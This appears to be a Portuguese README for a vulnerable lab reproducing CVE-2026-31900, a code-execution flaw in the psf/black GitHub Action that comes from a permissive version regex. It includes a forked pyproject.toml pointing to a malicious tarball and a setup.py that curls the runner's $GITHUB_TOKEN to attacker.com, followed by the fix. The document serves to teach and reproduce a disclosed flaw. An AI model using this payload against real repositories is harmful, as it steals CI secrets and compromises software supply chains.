
CVE-2026-31900 Laboratório Vulnerável - RCE na GitHub Action do psf/black
| Campo | Detalhe |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (Alto) |
| Aviso | GHSA-v53h-f6m7-xcgm |
| Afetado | psf/black GitHub Action < v26.3.0 |
| Tipo | RCE via Supply Chain (gatilho pull_request) |
A opção use_pyproject: true lê a versão do Black a partir de pyproject.toml. A regex usada para validar a string de versão é excessivamente permissiva devido a re.IGNORECASE, permitindo caracteres como espaço, @, : e / — exatamente o que é necessário para um requisito de URL PEP 508.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml no seu fork:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request é acionadopyproject.toml, contornando a validação da regexsetup.py executa código arbitráriosetup.py de Pacote Maliciosofrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (token do runner de CI)Atualize para psf/black v26.3.0 ou fixe a versão explicitamente no YAML do workflow em vez de usar use_pyproject: true.
.github/workflows/black.yml ← Workflow vulnerável (use_pyproject: true)
pyproject.toml ← Config legítima (branch main)
app.py ← Arquivo Python de exemplo sendo formatado